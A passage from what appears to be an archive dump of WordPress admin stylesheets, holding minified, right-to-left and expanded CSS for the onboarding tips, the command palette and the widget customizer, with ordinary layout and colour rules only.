right: 0; top: 0; } .nux-dot-tip[data-y-axis=top] { margin-top: -4px; } .nux-dot-tip[data-y-axis=bottom] { margin-top: 4px; } .nux-dot-tip[data-y-axis=middle][data-y-axis=left] { margin-left: -4px; } .nux-dot-tip[data-y-axis=middle][data-y-axis=right] { margin-left: 4px; } .nux-dot-tip[data-y-axis=top] .components-popover__content { margin-bottom: 20px; } .nux-dot-tip[data-y-axis=bottom] .components-popover__content { margin-top: 20px; } .nux-dot-tip[data-y-axis=middle][data-y-axis=left] .components-popover__content { margin-right: 20px; } .nux-dot-tip[data-y-axis=middle][data-y-axis=right] .components-popover__content { margin-left: 20px; } .nux-dot-tip[data-y-axis=left], .nux-dot-tip[data-y-axis=center], .nux-dot-tip[data-y-axis=right] { z-index: 1000001; } @media (max-width: 600px) { .nux-dot-tip[data-y-axis=left] .components-popover__content, .nux-dot-tip[data-y-axis=center] .components-popover__content, .nux-dot-tip[data-y-axis=right] .components-popover__content { -ms-grid-row-align: end; align-self: end; left: 5px; margin: 20px 0 0 0; max-width: none !important; position: fixed; right: 5px; width: auto; } } .nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content { /*!rtl:ignore*/ margin-left: 0; } .nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content { /*!rtl:ignore*/ margin-right: 0; } .nux-dot-tip.components-popover.edit-post-more-menu__content:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content { /*!rtl:ignore*/ margin-left: -12px; } .nux-dot-tip.components-popover.edit-post-more-menu__content:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content { /*!rtl:ignore*/ margin-right: -12px; }css/dist/nux/style.min.css000064400000005142151202620300011536 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.nux-dot-tip:after,.nux-dot-tip:before{border-radius:100%;content:" ";pointer-events:none;position:absolute}.nux-dot-tip:before{animation:nux-pulse 1.6s cubic-bezier(.17,.67,.92,.62) infinite;background:rgba(0,115,156,.9);opacity:.9;height:24px;left:-12px;top:-12px;transform:scale(.3333333333);width:24px}.nux-dot-tip:after{background:#00739c;height:8px;left:-4px;top:-4px;width:8px}@keyframes nux-pulse{to{background:rgba(0,115,156,0);transform:scale(1)}}.nux-dot-tip .components-popover__content{width:350px}.nux-dot-tip .components-popover__content>div{padding:20px 18px}@media (min-width:600px){.nux-dot-tip .components-popover__content{width:450px}}.nux-dot-tip .components-popover__content .nux-dot-tip__disable{position:absolute;right:0;top:0}.nux-dot-tip[data-y-axis=top]{margin-top:-4px}.nux-dot-tip[data-y-axis=bottom]{margin-top:4px}.nux-dot-tip[data-y-axis=middle][data-y-axis=left]{margin-left:-4px}.nux-dot-tip[data-y-axis=middle][data-y-axis=right]{margin-left:4px}.nux-dot-tip[data-y-axis=top] .components-popover__content{margin-bottom:20px}.nux-dot-tip[data-y-axis=bottom] .components-popover__content{margin-top:20px}.nux-dot-tip[data-y-axis=middle][data-y-axis=left] .components-popover__content{margin-right:20px}.nux-dot-tip[data-y-axis=middle][data-y-axis=right] .components-popover__content{margin-left:20px}.nux-dot-tip[data-y-axis=center],.nux-dot-tip[data-y-axis=left],.nux-dot-tip[data-y-axis=right]{z-index:1000001}@media (max-width:600px){.nux-dot-tip[data-y-axis=center] .components-popover__content,.nux-dot-tip[data-y-axis=left] .components-popover__content,.nux-dot-tip[data-y-axis=right] .components-popover__content{-ms-grid-row-align:end;align-self:end;left:5px;margin:20px 0 0;max-width:none!important;position:fixed;right:5px;width:auto}}.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{ /*!rtl:ignore*/margin-left:0}.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{ /*!rtl:ignore*/margin-right:0}.nux-dot-tip.components-popover.edit-post-more-menu__content:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{ /*!rtl:ignore*/margin-left:-12px}.nux-dot-tip.components-popover.edit-post-more-menu__content:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{ /*!rtl:ignore*/margin-right:-12px}css/dist/commands/style-rtl.min.css000064400000005655151202620300013335 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.commands-command-menu{border-radius:4px;margin:auto;max-width:420px;position:relative;top:calc(15% + 60px);width:calc(100% - 32px)}@media (min-width:600px){.commands-command-menu{top:15%}}.commands-command-menu .components-modal__content{margin:0;padding:0}.commands-command-menu__overlay{align-items:start;display:block}.commands-command-menu__header{align-items:center;display:flex;padding-right:16px}.commands-command-menu__header .components-button{border:1px solid #949494;border-left:0;border-radius:0 2px 2px 0;height:56px;justify-content:center;width:56px}.commands-command-menu__header .components-button+[cmdk-input]{border-bottom-right-radius:0;border-top-right-radius:0}.commands-command-menu__container{will-change:transform}.commands-command-menu__container [cmdk-input]{border:none;border-radius:0;color:#1e1e1e;font-size:16px;line-height:28px;margin:0;outline:none;padding:16px 8px 16px 16px;width:100%}.commands-command-menu__container [cmdk-input]::placeholder{color:#757575}.commands-command-menu__container [cmdk-input]:focus{box-shadow:none;outline:none}.commands-command-menu__container [cmdk-item]{align-items:center;border-radius:2px;color:#1e1e1e;cursor:pointer;display:flex;font-size:13px;min-height:40px}.commands-command-menu__container [cmdk-item]:active,.commands-command-menu__container [cmdk-item][aria-selected=true]{background:var(--wp-admin-theme-color);color:#fff}.commands-command-menu__container [cmdk-item]:active svg,.commands-command-menu__container [cmdk-item][aria-selected=true] svg{fill:#fff}.commands-command-menu__container [cmdk-item][aria-disabled=true]{color:#949494;cursor:not-allowed}.commands-command-menu__container [cmdk-item] svg{fill:#1e1e1e}.commands-command-menu__container [cmdk-item]>div{padding:8px 40px 8px 8px}.commands-command-menu__container [cmdk-item]>.has-icon{padding-right:8px}.commands-command-menu__container [cmdk-root]>[cmdk-list]{max-height:368px;overflow:auto}.commands-command-menu__container [cmdk-root]>[cmdk-list] [cmdk-list-sizer]>[cmdk-group]>[cmdk-group-items]:not(:empty){padding:0 8px 8px}.commands-command-menu__container [cmdk-empty]{align-items:center;color:#1e1e1e;display:flex;justify-content:center;padding:8px 0 32px;white-space:pre-wrap}.commands-command-menu__container [cmdk-loading]{padding:16px}.commands-command-menu__container [cmdk-list-sizer]{position:relative}.commands-command-menu__item span{display:inline-block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.commands-command-menu__item mark{background:unset;color:inherit;font-weight:600}css/dist/commands/style.min.css000064400000005652151202620300012533 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.commands-command-menu{border-radius:4px;margin:auto;max-width:420px;position:relative;top:calc(15% + 60px);width:calc(100% - 32px)}@media (min-width:600px){.commands-command-menu{top:15%}}.commands-command-menu .components-modal__content{margin:0;padding:0}.commands-command-menu__overlay{align-items:start;display:block}.commands-command-menu__header{align-items:center;display:flex;padding-left:16px}.commands-command-menu__header .components-button{border:1px solid #949494;border-radius:2px 0 0 2px;border-right:0;height:56px;justify-content:center;width:56px}.commands-command-menu__header .components-button+[cmdk-input]{border-bottom-left-radius:0;border-top-left-radius:0}.commands-command-menu__container{will-change:transform}.commands-command-menu__container [cmdk-input]{border:none;border-radius:0;color:#1e1e1e;font-size:16px;line-height:28px;margin:0;outline:none;padding:16px 16px 16px 8px;width:100%}.commands-command-menu__container [cmdk-input]::placeholder{color:#757575}.commands-command-menu__container [cmdk-input]:focus{box-shadow:none;outline:none}.commands-command-menu__container [cmdk-item]{align-items:center;border-radius:2px;color:#1e1e1e;cursor:pointer;display:flex;font-size:13px;min-height:40px}.commands-command-menu__container [cmdk-item]:active,.commands-command-menu__container [cmdk-item][aria-selected=true]{background:var(--wp-admin-theme-color);color:#fff}.commands-command-menu__container [cmdk-item]:active svg,.commands-command-menu__container [cmdk-item][aria-selected=true] svg{fill:#fff}.commands-command-menu__container [cmdk-item][aria-disabled=true]{color:#949494;cursor:not-allowed}.commands-command-menu__container [cmdk-item] svg{fill:#1e1e1e}.commands-command-menu__container [cmdk-item]>div{padding:8px 8px 8px 40px}.commands-command-menu__container [cmdk-item]>.has-icon{padding-left:8px}.commands-command-menu__container [cmdk-root]>[cmdk-list]{max-height:368px;overflow:auto}.commands-command-menu__container [cmdk-root]>[cmdk-list] [cmdk-list-sizer]>[cmdk-group]>[cmdk-group-items]:not(:empty){padding:0 8px 8px}.commands-command-menu__container [cmdk-empty]{align-items:center;color:#1e1e1e;display:flex;justify-content:center;padding:8px 0 32px;white-space:pre-wrap}.commands-command-menu__container [cmdk-loading]{padding:16px}.commands-command-menu__container [cmdk-list-sizer]{position:relative}.commands-command-menu__item span{display:inline-block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.commands-command-menu__item mark{background:unset;color:inherit;font-weight:600}css/dist/commands/style-rtl.css000064400000006405151202620300012545 0ustar00:root{ --wp-admin-theme-color:#007cba; --wp-admin-theme-color--rgb:0, 124, 186; --wp-admin-theme-color-darker-10:#006ba1; --wp-admin-theme-color-darker-10--rgb:0, 107, 161; --wp-admin-theme-color-darker-20:#005a87; --wp-admin-theme-color-darker-20--rgb:0, 90, 135; --wp-admin-border-width-focus:2px; --wp-block-synced-color:#7a00df; --wp-block-synced-color--rgb:122, 0, 223; } @media (min-resolution:192dpi){ :root{ --wp-admin-border-width-focus:1.5px; } } .commands-command-menu{ border-radius:4px; margin:auto; max-width:420px; position:relative; top:calc(15% + 60px); width:calc(100% - 32px); } @media (min-width:600px){ .commands-command-menu{ top:15%; } } .commands-command-menu .components-modal__content{ margin:0; padding:0; } .commands-command-menu__overlay{ align-items:start; display:block; } .commands-command-menu__header{ align-items:center; display:flex; padding-right:16px; } .commands-command-menu__header .components-button{ border:1px solid #949494; border-left:0; border-radius:0 2px 2px 0; height:56px; justify-content:center; width:56px; } .commands-command-menu__header .components-button+[cmdk-input]{ border-bottom-right-radius:0; border-top-right-radius:0; } .commands-command-menu__container{ will-change:transform; } .commands-command-menu__container [cmdk-input]{ border:none; border-radius:0; color:#1e1e1e; font-size:16px; line-height:28px; margin:0; outline:none; padding:16px 8px 16px 16px; width:100%; } .commands-command-menu__container [cmdk-input]::placeholder{ color:#757575; } .commands-command-menu__container [cmdk-input]:focus{ box-shadow:none; outline:none; } .commands-command-menu__container [cmdk-item]{ align-items:center; border-radius:2px; color:#1e1e1e; cursor:pointer; display:flex; font-size:13px; min-height:40px; } .commands-command-menu__container [cmdk-item]:active,.commands-command-menu__container [cmdk-item][aria-selected=true]{ background:var(--wp-admin-theme-color); color:#fff; } .commands-command-menu__container [cmdk-item]:active svg,.commands-command-menu__container [cmdk-item][aria-selected=true] svg{ fill:#fff; } .commands-command-menu__container [cmdk-item][aria-disabled=true]{ color:#949494; cursor:not-allowed; } .commands-command-menu__container [cmdk-item] svg{ fill:#1e1e1e; } .commands-command-menu__container [cmdk-item]>div{ padding:8px 40px 8px 8px; } .commands-command-menu__container [cmdk-item]>.has-icon{ padding-right:8px; } .commands-command-menu__container [cmdk-root]>[cmdk-list]{ max-height:368px; overflow:auto; } .commands-command-menu__container [cmdk-root]>[cmdk-list] [cmdk-list-sizer]>[cmdk-group]>[cmdk-group-items]:not(:empty){ padding:0 8px 8px; } .commands-command-menu__container [cmdk-empty]{ align-items:center; color:#1e1e1e; display:flex; justify-content:center; padding:8px 0 32px; white-space:pre-wrap; } .commands-command-menu__container [cmdk-loading]{ padding:16px; } .commands-command-menu__container [cmdk-list-sizer]{ position:relative; } .commands-command-menu__item span{ display:inline-block; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; } .commands-command-menu__item mark{ background:unset; color:inherit; font-weight:600; }css/dist/commands/style.css000064400000006402151202620300011743 0ustar00:root{ --wp-admin-theme-color:#007cba; --wp-admin-theme-color--rgb:0, 124, 186; --wp-admin-theme-color-darker-10:#006ba1; --wp-admin-theme-color-darker-10--rgb:0, 107, 161; --wp-admin-theme-color-darker-20:#005a87; --wp-admin-theme-color-darker-20--rgb:0, 90, 135; --wp-admin-border-width-focus:2px; --wp-block-synced-color:#7a00df; --wp-block-synced-color--rgb:122, 0, 223; } @media (min-resolution:192dpi){ :root{ --wp-admin-border-width-focus:1.5px; } } .commands-command-menu{ border-radius:4px; margin:auto; max-width:420px; position:relative; top:calc(15% + 60px); width:calc(100% - 32px); } @media (min-width:600px){ .commands-command-menu{ top:15%; } } .commands-command-menu .components-modal__content{ margin:0; padding:0; } .commands-command-menu__overlay{ align-items:start; display:block; } .commands-command-menu__header{ align-items:center; display:flex; padding-left:16px; } .commands-command-menu__header .components-button{ border:1px solid #949494; border-radius:2px 0 0 2px; border-right:0; height:56px; justify-content:center; width:56px; } .commands-command-menu__header .components-button+[cmdk-input]{ border-bottom-left-radius:0; border-top-left-radius:0; } .commands-command-menu__container{ will-change:transform; } .commands-command-menu__container [cmdk-input]{ border:none; border-radius:0; color:#1e1e1e; font-size:16px; line-height:28px; margin:0; outline:none; padding:16px 16px 16px 8px; width:100%; } .commands-command-menu__container [cmdk-input]::placeholder{ color:#757575; } .commands-command-menu__container [cmdk-input]:focus{ box-shadow:none; outline:none; } .commands-command-menu__container [cmdk-item]{ align-items:center; border-radius:2px; color:#1e1e1e; cursor:pointer; display:flex; font-size:13px; min-height:40px; } .commands-command-menu__container [cmdk-item]:active,.commands-command-menu__container [cmdk-item][aria-selected=true]{ background:var(--wp-admin-theme-color); color:#fff; } .commands-command-menu__container [cmdk-item]:active svg,.commands-command-menu__container [cmdk-item][aria-selected=true] svg{ fill:#fff; } .commands-command-menu__container [cmdk-item][aria-disabled=true]{ color:#949494; cursor:not-allowed; } .commands-command-menu__container [cmdk-item] svg{ fill:#1e1e1e; } .commands-command-menu__container [cmdk-item]>div{ padding:8px 8px 8px 40px; } .commands-command-menu__container [cmdk-item]>.has-icon{ padding-left:8px; } .commands-command-menu__container [cmdk-root]>[cmdk-list]{ max-height:368px; overflow:auto; } .commands-command-menu__container [cmdk-root]>[cmdk-list] [cmdk-list-sizer]>[cmdk-group]>[cmdk-group-items]:not(:empty){ padding:0 8px 8px; } .commands-command-menu__container [cmdk-empty]{ align-items:center; color:#1e1e1e; display:flex; justify-content:center; padding:8px 0 32px; white-space:pre-wrap; } .commands-command-menu__container [cmdk-loading]{ padding:16px; } .commands-command-menu__container [cmdk-list-sizer]{ position:relative; } .commands-command-menu__item span{ display:inline-block; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; } .commands-command-menu__item mark{ background:unset; color:inherit; font-weight:600; }css/dist/customize-widgets/style-rtl.min.css000064400000014531151202620300015213 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector{background:#fff;box-sizing:border-box}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector *{box-sizing:inherit}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector{margin:-12px}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector h3{margin-bottom:0}#customize-theme-controls .customize-pane-child.control-section-sidebar.is-sub-section-open{transform:translateX(100%)}.customize-widgets-header{background:#f0f0f1;border-bottom:1px solid #e0e0e0;display:flex;justify-content:flex-end;margin:-15px -12px 0;z-index:8}@media (min-width:782px){.customize-widgets-header{margin-bottom:44px}}.customize-widgets-header.is-fixed-toolbar-active{margin-bottom:0}.customize-widgets-header-toolbar{align-items:center;border:none;display:flex;width:100%}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon{border-radius:2px;color:#fff;height:24px;margin:12px auto 12px 0;min-width:24px;padding:0}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon:before{content:none}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon.is-pressed{background:#1e1e1e}.customize-widgets-header-toolbar .components-button.has-icon.customize-widgets-editor-history-button.redo-button{margin-right:-12px}#customize-sidebar-outer-content{min-width:100%;width:auto}#customize-outer-theme-controls .widgets-inserter{padding:0}#customize-outer-theme-controls .widgets-inserter .customize-section-description-container{display:none}.customize-widgets-layout__inserter-panel{background:#fff}.customize-widgets-layout__inserter-panel-header{align-items:center;border-bottom:1px solid #ddd;box-sizing:border-box;display:flex;height:46px;justify-content:space-between;padding:16px}.customize-widgets-layout__inserter-panel-header .customize-widgets-layout__inserter-panel-header-title{margin:0}.block-editor-inserter__quick-inserter .block-editor-inserter__panel-content{background:#fff}.customize-widgets-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.customize-widgets-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.customize-widgets-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.customize-widgets-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.customize-widgets-keyboard-shortcut-help-modal__shortcut:empty{display:none}.customize-widgets-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 1rem 0 0;text-align:left}.customize-widgets-keyboard-shortcut-help-modal__shortcut-description{flex:1;flex-basis:auto;margin:0}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 .2rem 0 0}.block-editor-block-contextual-toolbar.is-fixed{margin-left:-12px;margin-right:-12px;overflow-y:auto;width:calc(100% + 24px)!important;z-index:7}.block-editor-block-contextual-toolbar.is-fixed>.block-editor-block-toolbar__group-collapse-fixed-toolbar{display:none}.customize-control-sidebar_block_editor .block-editor-block-list__block-popover{position:fixed!important;z-index:7}.customize-control-sidebar_block_editor .components-popover,.customize-widgets-popover .components-popover{position:fixed!important}.customize-widgets-welcome-guide__image__wrapper{background:#00a0d2;margin-bottom:8px;text-align:center}.customize-widgets-welcome-guide__image{height:auto}.wrap .customize-widgets-welcome-guide__heading{font-size:18px;font-weight:600}.customize-widgets-welcome-guide__text{line-height:1.7}.customize-widgets-welcome-guide__button{justify-content:center;margin:1em 0;width:100%}.customize-widgets-welcome-guide__separator{margin:1em 0}.customize-widgets-welcome-guide__more-info{line-height:1.4}#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section{background-color:#fff;min-height:100%;padding-top:12px!important}#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section.open{overflow:unset}#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section .customize-section-title{margin-top:-12px!important;position:static!important;width:unset!important}.components-modal__screen-overlay{z-index:999999}.customize-control-sidebar_block_editor,.customize-widgets-layout__inspector,.customize-widgets-popover{box-sizing:border-box}.customize-control-sidebar_block_editor *,.customize-control-sidebar_block_editor :after,.customize-control-sidebar_block_editor :before,.customize-widgets-layout__inspector *,.customize-widgets-layout__inspector :after,.customize-widgets-layout__inspector :before,.customize-widgets-popover *,.customize-widgets-popover :after,.customize-widgets-popover :before{box-sizing:inherit}.block-editor-block-contextual-toolbar.is-fixed{border:none;border-bottom:1px solid #e0e0e0;border-radius:0;overflow-y:hidden;position:sticky;right:0;top:0;width:calc(100% + 24px);z-index:6}.block-editor-block-contextual-toolbar.is-fixed .block-editor-block-toolbar .components-toolbar,.block-editor-block-contextual-toolbar.is-fixed .block-editor-block-toolbar .components-toolbar-group{border-left-color:#e0e0e0}.block-editor-block-contextual-toolbar.is-fixed.is-collapsed{margin-right:-12px}css/dist/customize-widgets/style.min.css000064400000014531151202620300014414 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector{background:#fff;box-sizing:border-box}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector *{box-sizing:inherit}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector{margin:-12px}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector h3{margin-bottom:0}#customize-theme-controls .customize-pane-child.control-section-sidebar.is-sub-section-open{transform:translateX(-100%)}.customize-widgets-header{background:#f0f0f1;border-bottom:1px solid #e0e0e0;display:flex;justify-content:flex-end;margin:-15px -12px 0;z-index:8}@media (min-width:782px){.customize-widgets-header{margin-bottom:44px}}.customize-widgets-header.is-fixed-toolbar-active{margin-bottom:0}.customize-widgets-header-toolbar{align-items:center;border:none;display:flex;width:100%}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon{border-radius:2px;color:#fff;height:24px;margin:12px 0 12px auto;min-width:24px;padding:0}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon:before{content:none}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon.is-pressed{background:#1e1e1e}.customize-widgets-header-toolbar .components-button.has-icon.customize-widgets-editor-history-button.redo-button{margin-left:-12px}#customize-sidebar-outer-content{min-width:100%;width:auto}#customize-outer-theme-controls .widgets-inserter{padding:0}#customize-outer-theme-controls .widgets-inserter .customize-section-description-container{display:none}.customize-widgets-layout__inserter-panel{background:#fff}.customize-widgets-layout__inserter-panel-header{align-items:center;border-bottom:1px solid #ddd;box-sizing:border-box;display:flex;height:46px;justify-content:space-between;padding:16px}.customize-widgets-layout__inserter-panel-header .customize-widgets-layout__inserter-panel-header-title{margin:0}.block-editor-inserter__quick-inserter .block-editor-inserter__panel-content{background:#fff}.customize-widgets-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.customize-widgets-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.customize-widgets-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.customize-widgets-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.customize-widgets-keyboard-shortcut-help-modal__shortcut:empty{display:none}.customize-widgets-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 0 0 1rem;text-align:right}.customize-widgets-keyboard-shortcut-help-modal__shortcut-description{flex:1;flex-basis:auto;margin:0}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 0 0 .2rem}.block-editor-block-contextual-toolbar.is-fixed{margin-left:-12px;margin-right:-12px;overflow-y:auto;width:calc(100% + 24px)!important;z-index:7}.block-editor-block-contextual-toolbar.is-fixed>.block-editor-block-toolbar__group-collapse-fixed-toolbar{display:none}.customize-control-sidebar_block_editor .block-editor-block-list__block-popover{position:fixed!important;z-index:7}.customize-control-sidebar_block_editor .components-popover,.customize-widgets-popover .components-popover{position:fixed!important}.customize-widgets-welcome-guide__image__wrapper{background:#00a0d2;margin-bottom:8px;text-align:center}.customize-widgets-welcome-guide__image{height:auto}.wrap .customize-widgets-welcome-guide__heading{font-size:18px;font-weight:600}.customize-widgets-welcome-guide__text{line-height:1.7}.customize-widgets-welcome-guide__button{justify-content:center;margin:1em 0;width:100%}.customize-widgets-welcome-guide__separator{margin:1em 0}.customize-widgets-welcome-guide__more-info{line-height:1.4}#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section{background-color:#fff;min-height:100%;padding-top:12px!important}#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section.open{overflow:unset}#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section .customize-section-title{margin-top:-12px!important;position:static!important;width:unset!important}.components-modal__screen-overlay{z-index:999999}.customize-control-sidebar_block_editor,.customize-widgets-layout__inspector,.customize-widgets-popover{box-sizing:border-box}.customize-control-sidebar_block_editor *,.customize-control-sidebar_block_editor :after,.customize-control-sidebar_block_editor :before,.customize-widgets-layout__inspector *,.customize-widgets-layout__inspector :after,.customize-widgets-layout__inspector :before,.customize-widgets-popover *,.customize-widgets-popover :after,.customize-widgets-popover :before{box-sizing:inherit}.block-editor-block-contextual-toolbar.is-fixed{border:none;border-bottom:1px solid #e0e0e0;border-radius:0;left:0;overflow-y:hidden;position:sticky;top:0;width:calc(100% + 24px);z-index:6}.block-editor-block-contextual-toolbar.is-fixed .block-editor-block-toolbar .components-toolbar,.block-editor-block-contextual-toolbar.is-fixed .block-editor-block-toolbar .components-toolbar-group{border-right-color:#e0e0e0}.block-editor-block-contextual-toolbar.is-fixed.is-collapsed{margin-left:-12px}css/dist/customize-widgets/style-rtl.css000064400000015611151202620300014431 0ustar00:root{ --wp-admin-theme-color:#007cba; --wp-admin-theme-color--rgb:0, 124, 186; --wp-admin-theme-color-darker-10:#006ba1; --wp-admin-theme-color-darker-10--rgb:0, 107, 161; --wp-admin-theme-color-darker-20:#005a87; --wp-admin-theme-color-darker-20--rgb:0, 90, 135; --wp-admin-border-width-focus:2px; --wp-block-synced-color:#7a00df; --wp-block-synced-color--rgb:122, 0, 223; } @media (min-resolution:192dpi){ :root{ --wp-admin-border-width-focus:1.5px; } } #customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector{ background:#fff; box-sizing:border-box; } #customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector *{ box-sizing:inherit; } #customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector{ margin:-12px; } #customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector h3{ margin-bottom:0; } #customize-theme-controls .customize-pane-child.control-section-sidebar.is-sub-section-open{ transform:translateX(100%); } .customize-widgets-header{ background:#f0f0f1; border-bottom:1px solid #e0e0e0; display:flex; justify-content:flex-end; margin:-15px -12px 0; z-index:8; } @media (min-width:782px){ .customize-widgets-header{ margin-bottom:44px; } } .customize-widgets-header.is-fixed-toolbar-active{ margin-bottom:0; } .customize-widgets-header-toolbar{ align-items:center; border:none; display:flex; width:100%; } .customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon{ border-radius:2px; color:#fff; height:24px; margin:12px auto 12px 0; min-width:24px; padding:0; } .customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon:before{ content:none; } .customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon.is-pressed{ background:#1e1e1e; } .customize-widgets-header-toolbar .components-button.has-icon.customize-widgets-editor-history-button.redo-button{ margin-right:-12px; } #customize-sidebar-outer-content{ min-width:100%; width:auto; } #customize-outer-theme-controls .widgets-inserter{ padding:0; } #customize-outer-theme-controls .widgets-inserter .customize-section-description-container{ display:none; } .customize-widgets-layout__inserter-panel{ background:#fff; } .customize-widgets-layout__inserter-panel-header{ align-items:center; border-bottom:1px solid #ddd; box-sizing:border-box; display:flex; height:46px; justify-content:space-between; padding:16px; } .customize-widgets-layout__inserter-panel-header .customize-widgets-layout__inserter-panel-header-title{ margin:0; } .block-editor-inserter__quick-inserter .block-editor-inserter__panel-content{ background:#fff; } .customize-widgets-keyboard-shortcut-help-modal__section{ margin:0 0 2rem; } .customize-widgets-keyboard-shortcut-help-modal__section-title{ font-size:.9rem; font-weight:600; } .customize-widgets-keyboard-shortcut-help-modal__shortcut{ align-items:baseline; border-top:1px solid #ddd; display:flex; margin-bottom:0; padding:.6rem 0; } 